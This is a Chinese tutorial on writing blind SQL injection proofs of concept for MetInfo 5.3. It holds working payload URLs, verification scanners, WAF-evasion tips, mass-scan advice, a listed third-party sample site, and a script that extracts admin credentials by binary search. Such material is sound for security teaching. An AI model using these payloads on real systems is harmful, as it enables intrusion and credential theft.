基于布尔的盲注的 SQL 注入 PoC 编写

这次我们选择的漏洞为 MetInfo 5.3 /include/global/listmod.php SQL 注入漏洞

漏洞分析

想看原文分析的可以点上面的链接去研究,你别看我的标题和原文作者的不一样,内容其实是一样的。

原文中的分析不是太详细,但是呢,我暂时不想详解这个漏洞,后面再看吧,如果有需要的话。

根据原文中分析我们知道了,存在 SQL 注入的文件是 /include/global/listmod.php , 存在注入的变量是 $serch_sql。

在 listmod.php 文件 200 行的位置拼接了 SQL 语句,在拼接 SQL 语句之前,对 $serch_sql 变量进行了初始化操作,但是呢,控制它是否初始化的另一个变量为 $imgproduct。

当这个 $imgproduct 变量非 search 的任意字符的时候,导致 $serch_sql 不能进行初始化,从而可以自定义 $serch_sql 进行注入。

阅读原文后我们得到了目标 URL,

http://xxx.com/news/news.php?lang=cn&class2=5&serch_sql=123qweasd&imgproduct=xxxx

存在注入的参数是 search_sql 注入的类型是 Boolean-Based Blind。

漏洞复现

手工复现漏洞对学习可是很有帮助的。不管你信不信,我反正是信了。

本地搭建 MetInfo 环境, 下载地址Metinfo5.3下载地址

读者下载完安装包后,进行安装,具体安装步骤在此处不再赘述。

笔者安装完毕后网站的地址为: http://127.0.0.1/MetInfo/

访问安装后的地址,如果正常访问,那就代表安装成功,我们可以继续后面的步骤了。

这里要强调一点,如果你是 Linux 系统,那么 Web 容器对目录与文件名的大小写是敏感的,笔者建议直接目录在创建的时候用小写

根据原漏洞详情的描述,我们直接访问:

http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe&imgproduct=xxxx

图 3-6

注意看图中业界资讯下方的条目

好啦,然后我们给 search_sql 的参数后加一个单引号

http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe'&imgproduct=xxxx

图 3-7

图中业界资讯下方一条记录也没有了。

于是我们得出一个结论存在 SQL 注入。那么我们再想一下,我们怎么判断存在 SQL 注入的呢?

先请求正常的页面(也就是上面的第一个链接),然后再请求带单引号的页面(也就是上面的第二个链接),如果两次结果不一样,就判断存在注入了。

看起来是这样的,对吧?实际上呢,上面说的话不是很严谨。

我们验证 SQL 注入的时候,一定一定一定是为了证明我们输入的字符被当作 SQL 指令执行了

如果我们只用上面这两个链接来判断存在注入的话,这误报率简直高到没边了。仔细思考一下为什么。

在实际中,是非常之复杂的,我们试想一下,假设有一个网站,它装了一个 WAF, 当你请求第一个没单引号的链接的时候,它返回的是正常的页面,然后,当你请求中带了一个单引号的时候,WAF 给你拦了,然后返回了一个请不要注入的提示的页面出来。

妥妥的误报。是吧?这样我们就得修改一下这个两个请求了。

我们看一下这个请求的 SQL 语句是什么样子的:

SELECT * FROM met_news 123qwe where lang='cn'  and (recycle='0' or recycle='-1') and (( class1='2'  and class2='5' ) ) and displaytype='1' and addtime<='2015-12-29 17:59:20'  order by top_ok desc,no_order desc,updatetime desc,id desc LIMIT 0, 8

上面这个你可以通过 tcpdump 抓包来得到,也可以通过修改网站源代码的方式,在查询前打印 SQL 语句,两种方法都可以,看个人喜好了

看到上面的 SQL 语句之后,我直接把对应的 Payload 也贴出来。这里我为了省流量我只贴重点部分

# 返回有数据的页面
serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx
# 返回无数据的页面
serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx

解释一下后面的 -- x ,这个是 Mysql 的注释,后面的 x 是为了让读者看清楚两个横线后面是有个空格的。

对比两个 Payload, 发现唯一的差别就是 4343=4343 和 4343=4342 了,当然这里的这个数字嘛,随便写的,以前大家都喜欢用 1=1, 1=2 这种来测试,那么有些 WAF 自然也是把这个加入到其特征里面喽,所以建议不要用这种。两者其实功能上都是一样的。

然后要详细说一下为什么要这样请求了。第一个 4343=4343 表达式返回的肯定是为真的,那么是会有数据的,而 4343=4342 这显然是不相等的,所以第二个 SQL 语句肯定是没有数据的。那么我们就可以对比两次请求的结果来判断是不是存在注入了。

思考一下,这与前面说的两种请求方式有什么不同

WAF。没错,我们两次请求的 Payload 也只有数字这里不同,如果说目标有 WAF 的话(比方说这个 WAF 拦的是 where 这个关键字),那么我们两次请求的结果都会是被拦截的页面。

于是我们要请求的两个链接就是:

# 返回有数据的页面
http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx

# 返回无数据的页面
http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx

那意思是说,我们现在就可以编写 PoC 了?打住。如果这个时候急着写 PoC,还是考虑的不够深入。

把视线再移到 GET 参数上面,我们看到除了 serch_sql 和 imgproduct 两个参数之外,还有 lang 和 class2 这两个参数。试着删除掉这两个参数看看结果发现这两个参数其实是必不可少的,同时,也会影响页面访问结果。

  • lang 网站语言环境,我们测试安装的时候语言环境是 cn,但是你不能说所有的网站的语言都支持 cn。
  • class2 这个参数是二级栏目, 取值也是相应的二级栏目的 id。我们测试的时候,栏目的 id 用的是 5,对应的测试数据是 “业界资讯”,那么问题来了,所有的 MetInfo 二次开发的站都会有 id 等于 5 的这个栏目吗?显然不是。
  • 如果我们选择的这个栏目下,本来就没有数据呢,即使存在注入也会被判断成没注入吧?好在这个漏洞中返回的新闻列表是所有分类的新闻

    当然,如果这个站真的一条新闻都没有的话,就不能通过 Boolean-Based Blind 这种类型来注入了。那自然就不在本节的讨论范围之内了。

OK, 终于可以整理验证的思路了。

  1. 访问 /news/ 获取到真实的栏目 id 和 lang
  2. 带上返回值为 True 的 Payload 即:serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx
  3. 带上返回值一定为 False 的 Payload 即:serch_sql=123qwe where 4343=4342 -- x&imgproduct=xxxx
  4. 比较 2, 3 中的新闻列表处的数据是否有变化,如果 2 有数据而 3 无数据,就证明存在注入。

上面说的这些,都是一些小细节,除了 SQL 注入 Payload 构造的技巧之外,还应该要结合具体的 CMS 的一些特点。这样 PoC 用来批量扫描的时候才不会出太多问题。

既然说到应该结合整个 CMS 具体的一些特点的话,我们观察在访问 /news/index.php 的时候,在正文部分其实是有一部分数据的,那么这两者之前肯定是存在调用的,我们访问下面地址看看:

# 1. 1234=1234
http://127.0.0.1/MetInfo/news/index.php?serch_sql= 123qwe where 1234=1234 -- x&imgproduct=xxxx

# 2. 1234=1235
http://127.0.0.1/MetInfo/news/index.php?serch_sql= 123qwe where 1234=1235 -- x&imgproduct=xxxx

访问上面两个链接之后发现,第一个请求的响应页面中有数据,而第二个请求的响应页面中没有数据

怎么样?这不就达到我们一开始想说的了效果了吗?这时完全可以不考虑 class2 的值是什么了呀。突然觉得之前折腾了那么久全是白费力气,这感觉真酸爽。

所以说洞主给的方案不一定是唯一的,PoC 编写的时候做一下必要的分析还是能减少很多无用功的。

无框架 PoC 编写

我直接上 python 脚本吧,我也没统一处理输入输出什么的,因为这些都不是重点。

代码3_3_1.py:

#!/usr/bin/env python
# coding:utf-8

import urllib2
import re


def verify(url):
    payloadtrue = "{target}/news/index.php?"\
        "serch_sql=%20123qwe%20"\
        "where%201234%3D1234%20--%20x&imgproduct=xxxx".format(target=url)

    payloadfalse = "{target}/news/index.php?"\
        "serch_sql=%20123qwe%20"\
        "where%201234%3D1235%20--%20x&imgproduct=xxxx".format(target=url)
    try:
        req = urllib2.Request(payloadtrue)
        resp = urllib2.urlopen(req)
        if resp.code != 200:
            return
        data_true = resp.read()
        # 如果第一次请求没数据,说明可能是被 WAF 拦了或者是真的没数据
        # 又或者是自己定制了一个 404 的页面(返回码是 200)
        if not re.search(r'href=["\' ]shownews\.php\?lang=', data_true, re.M):
            return

        req = urllib2.Request(payloadfalse)
        resp = urllib2.urlopen(req)
        if resp.code != 200:
            return
        data_false = resp.read()
        # 第二次请求有数据的话,就说明不存在漏洞
        if re.search(r'href=["\' ]shownews\.php\?lang=', data_false, re.M):
            return
        print "%s is vulnerable!" % url
    except:
        pass

if __name__ == '__main__':
    verify(url="http://127.0.0.1/MetInfo/")

上面的脚本在注释中已经把判断的逻辑写的很清楚了,也没什么要说的地方。

值得一提的是:我们在判断的时候,选取的判断字符串一定要能区分这两个页面,并且要有一定的通用性。除了以上这些,还应该尽可能的复杂一些,这样在全网扫的时候误报率相对就低了下来。

当然还可以通过返回包的大小来判断,但是如果仅仅靠这个来判断的话,误报率是比较高的。

我们运行一下3_3_1.py看看效果吧:

➜  3-3  python 3_3_1.py
http://127.0.0.1/MetInfo/ is vulnerable!

基于 Bugscan 框架的扫描插件编写

Bugscan 要求是使用官方 sdk 中给出的 curl 来发送 http 请求,我直接贴上代码

代码 3_3_2.py:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import re


def assign(service, arg):
    if service == "metinfo":
        return True, arg


def audit(arg):
    verify(arg)


def verify(url):
    payloadtrue = "{target}/news/index.php?"\
        "serch_sql=%20123qwe%20"\
        "where%201234%3D1234%20--%20x&imgproduct=xxxx".format(target=url)

    payloadfalse = "{target}/news/index.php?"\
        "serch_sql=%20123qwe%20"\
        "where%201234%3D1235%20--%20x&imgproduct=xxxx".format(target=url)
    try:
        code, head, body, errcode, redirect_url = curl.curl2(payloadtrue)
        if code != 200 or not\
                re.search('href=["\' ]shownews\.php\?lang=', body, re.M):
            return

        code, head, body, errcode, redirect_url = curl.curl2(payloadfalse)
        if code != 200 or\
                re.search('href=["\' ]shownews\.php\?lang=', body, re.M):
            return
        security_hole("%s" % (payloadtrue))
    except:
        pass

if __name__ == '__main__':
    from dummy import *
    audit(assign('metinfo', 'http://127.0.0.1/MetInfo/')[1])

对比下无框架的 PoC, 是不是觉得基本什么都没变呢,只是换了个入口和修改了一下发送的请求的方式而已。

本地运行一下看下结果:

➜  3-3  python 3_3_2.py
[LOG] <hole> http://http://127.0.0.1/MetInfo//news/index.php?serch_sql=%20123qwe%20where%201234%3D1234%20--%20x&imgproduct=xxxx

另外要提的一点,在我写的时候 Bugscan 平台上已经有人编写过这个插件了。

我也顺便把该作者的代码贴到下方,方便读者参考学习(侵权删)。

看之前我还是提一下吧,我简单修正了一下原作者的代码风格。

我们在写代码的时候一定要养成一个好习惯,Python 遵循的是 PEP8 规范, 这样自己看起来也会爽的很多。另外,不要在代码中留下太多无用的调试代码。

代码 3_3_3.py metinfo v5.3.1 news.php sql盲注:

#!/usr/bin/env
# *_* coding: utf-8 *_*

# name: MetInfo V5.3.1 news.php sql注入
# author: yichin
# refer: http://www.wooyun.org/bugs/wooyun-2015-0119166

import re


def assign(service, arg):
    if service == 'metinfo':
        return True, arg


def audit(arg):
    # 获取classid
    code, head, res, err, _ = curl.curl2(arg + '/news/')
    if code != 200:
        return False

    m = re.search(r'(/news.php\?[a-zA-Z0-9&=]*class[\d]+=[\d]+)[\'"]', res)
    if m is None:
        return False

    # 注入点
    # 条件真
    payload = arg + 'news' + m.group(1) + '&serch_sql=as%20a%20join%20information_schema.CHARACTER_SETS%20as%20b%20where%20if(ascii(substr(b.CHARACTER_SET_NAME,1,1))>0,1,0)%20limit%201--%20sd&imgproduct=xxxx'
    # 条件假
    verify = arg + 'news' + m.group(1) + '&serch_sql=as%20a%20join%20information_schema.CHARACTER_SETS%20as%20b%20where%20if(ascii(substr(b.CHARACTER_SET_NAME,1,1))>255,1,0)%20limit%201--%20sd&imgproduct=xxxx'

    code, head, payload_res, err, _ = curl.curl2(payload)
    if code != 200:
        return False
    code, head, verify_res, err, _ = curl.curl2(verify)
    if code != 200:
        return False
    # 判断页面中是否有新闻
    pattern = re.compile(r'<h2><a href=[\'"]?[./a-zA-Z0-9_-]*shownews.php\?')
    if pattern.search(payload_res) and pattern.search(verify_res) is None:
        security_hole(arg + ' metinfo cms news.php blind sql injection')
    else:
        return False
if __name__ == '__main__':
    from dummy import *
    audit(assign('metinfo', 'http://www.example.com/')[1])

可以看出作者先访问 /news/index.php 取得了 classid,然后再继续测试的。相比之下,代码 3_3_2.py3_3_3.py少发一次请求。

不要小看这一次请求哟,我们平均访问一次网页假设要消耗 100ms, 1s = 1000 ms, 如果我们待扫描的目标有 10w,那么这个小改动会帮你节省接近 3 个小时(100000 * 100 / 1000 / 3600 = 2.78)。

2.3.5 基于 Pocsuite 框架 验证加攻击

Bugscan 是扫描器,我在开篇的时候讲过,扫描器是要求无损扫描的,如果有注入,一定不要去把人家管理员密码给人注出来,但是在 Pocsuite 里面的话,提供了一种带有攻击性质的验证逻辑。

我们先写 PoC 中验证逻辑部分吧,带有攻击性质的这个暂且不表,我会在后面补上的。

代码 3_3_4.py:

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re


class TestPOC(POCBase):
    vulID = '89367'
    version = '1.0'
    author = ['Anonymous']
    vulDate = '2015-06-15'
    createDate = '2016-01-28'
    updateDate = '2016-01-28'
    references = ['http://www.seebug.org/vuldb/ssvid-89367']
    name = 'MetInfo 5.3 /include/global/listmod.php SQL注入'
    appPowerLink = 'http://www.metinfo.cn/'
    appName = 'MetInfo'
    appVersion = '5.3'
    vulType = 'SQL injection'
    desc = '''
        search_sql 变量没有过滤直接带入 SQL 语句导致注入,
        可以获取管理员的账号密码,造成信息泄露甚至数据库被拖。

        Boolean-Based Blind SQL injection
    '''
    samples = ['http://www.lzqidi.com/']

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        payloadtrue = "{target}/news/index.php?"\
            "serch_sql=%20123qwe%20"\
            "where%201234%3D1234%20--%20x&imgproduct=xxxx".format(
                target=self.url)

        payloadfalse = "{target}/news/index.php?"\
            "serch_sql=%20123qwe%20"\
            "where%201234%3D1235%20--%20x&imgproduct=xxxx".format(
                target=self.url)
        try:
            resptrue = req.get(payloadtrue)
            if resptrue.status_code != 200 or not\
                    re.search(
                        'href=["\' ]shownews\.php\?lang=',
                        resptrue.content, re.M):
                return self.parse_output(result)
            respfalse = req.get(payloadfalse)
            if respfalse.status_code != 200 or\
                    re.search(
                        'href=["\' ]shownews\.php\?lang=',
                        respfalse.content, re.M):
                return self.parse_output(result)
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = payloadtrue
        except:
            pass
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

将代码 3_3_4.py 保存到本地后用 Pocsuite 运行测试。

执行结果:

➜  3-3  pocsuite -r 3_3_4.py -u 127.0.0.1/Metinfo/

                              ,--. ,--.
 ,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {1.0.0dev-a2ea8ba}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://sebug.net

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 15:06:42

[15:06:42] [*] checking 3_3_4
[15:06:42] [*] poc:'3_3_4' target:'127.0.0.1/Metinfo/'
[15:06:42] [+] poc-89367 'MetInfo 5.3 /include/global/listmod.php SQL注入' has already been detected against 'http://127.0.0.1/Metinfo/'.
[15:06:42] [+] URL : http://127.0.0.1/Metinfo//news/index.php?serch_sql=%20123qwe%20where%201234%3D1234%20--%20x&imgproduct=xxxx
+--------------------+----------+--------+-----------+---------+---------+
|     target-url     | poc-name | poc-id | component | version |  status |
+--------------------+----------+--------+-----------+---------+---------+
| 127.0.0.1/Metinfo/ |  3_3_4   | 89367  |  MetInfo  |   5.3   | success |
+--------------------+----------+--------+-----------+---------+---------+
success : 1 / 1

[*] shutting down at 15:06:42

读者可以再次对比一下无框架 PoC 和有框架 PoC 的区别。

基本上验证就已经讲完了,有兴趣的可以继续看下面的爆数据部分。

盲注猜数据

暂时不想写怎么爆数据了,后面会更, 我给个思路,读者可以先自己实现一下

思路

我们不要着急,一层一层思考啊

  1. 管理员的用户名和密码肯定是在 [a-zA-Z0-9] 这个集合里面的(如果不区分大小写就是 [a-Z0-9])。比如 e10adc3949ba59abbe56e057f20f883e
  2. 如果让你人工去猜这个密码字符串,你会怎么猜?这里我们就可以用 if 语句来判断了,如果我们猜对了,就返回 True,猜错了,就返回 False,那么一旦出现了有数据的页面,说明你猜对了。
  3. 一次猜整个字符串的那概率相当之小,所以我们可以拆分字符串呀,从第一个字符开始猜,猜到最后一个。那假设你在猜第 1 个字符,它可取的值有 36 个,怎么猜?从 a 一个一个猜到 z ,从 0 猜到 9,肯定有一个满足条件的。
  4. 天呐,这样一个一个猜好累啊。有什么办法能提高比较效率呢?这里我们可以使用二分法(也叫折半查找)

    举个例子子来说啊,比如我们要猜 1 中给的这个例子的第 1 个字符(e),我先看它是不是在 n 后面(a-z 的中间字母)?不在,好,然后再看是不是在 g 后面(a-n 的中间字母)?不在,那我将 a-g 再从中间分一下,就是字母 d 了,在不在 d 后面呢?在。OK,现在这个字符所在的区间是 d-g(defg),中间字母是 e ,那么这个字符在不在 e 后面呢?不在。于是现在区间又成了 de, 那么再比较一次, 这样就把猜出来是 e 了。

这样对一个字母,平均比较次数是 5 次,这样一来就会节约了大量的时间。你也许会说,呵呵呵,如果我猜的字母是 a ,我用传统的比较法一次就蒙对了呢。少年,那你有考虑过这个字符有可能是 z 吗?

当然 Seebug 平台上已经有人写了这个漏洞的 PoC 了,这个 PoC 里面就运用了二分法思路来猜数据。

Sebug MetInfo 5.3 /include/global/listmod.php SQL注入

我把 PoC 代码也贴上来,让读者参考一下(侵权删):

代码 3_3_5.py:

#!/usr/bin/env python
# coding: utf-8
import re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '1902'  # vul ID
    version = '1'
    author = ['ricter']
    vulDate = '2015-06-15'
    createDate = '2015-06-16'
    updateDate = '2015-06-16'
    references = ['http://wooyun.org/bugs/wooyun-2015-0119166']
    name = 'MetInfo 5.3 /include/global/listmod.php SQL注入漏洞 POC'
    appPowerLink = 'http://www.metinfo.cn'
    appName = 'MetInfo'
    appVersion = '5.3'
    vulType = 'SQL Injection'
    desc = '''
        变量直接带入 SQL 语句导致注入,可以获取管理员的账号密码,造成
        信息泄露。
    '''

    samples = ['']

    def get_flag(self, payload, offset, opt, char):
        payload = ('as a left join met_admin_table as b on 1 where ord(substr('
                   '%s,%s,1))%s%s and b.id = 1 limit 1#' % (payload, offset,
                   opt, char))
        params = {
            'lang': 'cn',
            'class2': 5,
            'imgproduct': 'z',
            'serch_sql': payload
        }
        response = req.get('%s/news/news.php' % self.url, params=params)
        return 'shownews.php' in response.content

    def fetch_data(self, payload, offset):
        low, height = 0, 255
        while low <= height:
            mid = (low + height) / 2
            if self.get_flag(payload, offset, '>', mid):
                if self.verbose:
                    print '>', mid
                low = mid + 1
            elif self.get_flag(payload, offset, '=', mid):
                if self.verbose:
                    print '=', mid
                return mid
            else:
                if self.verbose:
                    print '<', mid
                height = mid - 1

        return 0

    def _attack(self):
        result = {}
        username, password = [], []
        offset = 0
        while 1:
            offset += 1
            data = self.fetch_data('b.admin_id', offset)
            if not data:
                break
            username.append(chr(data))

        offset = 0
        while 1:
            offset += 1
            data = self.fetch_data('b.admin_pass', offset)
            if not data:
                break
            password.append(chr(data))

        if len(password) == 32 and username:
            result['AdminInfo'] = {}
            result['AdminInfo']['Username'] = ''.join(username)
            result['AdminInfo']['Password'] = ''.join(password)

        return self.parse_attack(result)

    def _verify(self):
        return self._attack()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

要写一个没有人工参与的,尽可能的准确的攻击脚本还是略麻烦的,与其是自己实现,还不如你直接换 sqlmap 去更方便一些。

这里我不禁想提几个问题出来

  1. 什么是 Attack?
  2. Attack 中到底要达到什么样子的效果呢?注出 CMS 的管理员账号密码?注几个?注出数据库连接账号?如果有写文件权限是不是要写 shell 上去呢?写了 shell 要不试试提权吧?提了权要不再放个后门搞个免杀?......
  3. 如果对方的表前缀不是 met_ 呢?

我就是想太多,这个 Attack 其实在实际当中并没什么太大的用处。

2.3.6 总结

总结一下这节学到的东西

  1. 布尔类型的 SQL 盲注,一般通过比较返回页面的数据变化来判断
  2. SQL 注入检测是证明指令被执行了
  3. 编写 PoC 如果能结合 CMS 的具体特点,会通用,提高性能
  4. 适当的应用一些算法,可以在幅度提高检测效率,节约时间
  5. 不要用默认的表前缀在一定程度上可以提高被黑的门槛

2016/01/27 感谢 SuperCheng 提供原始稿件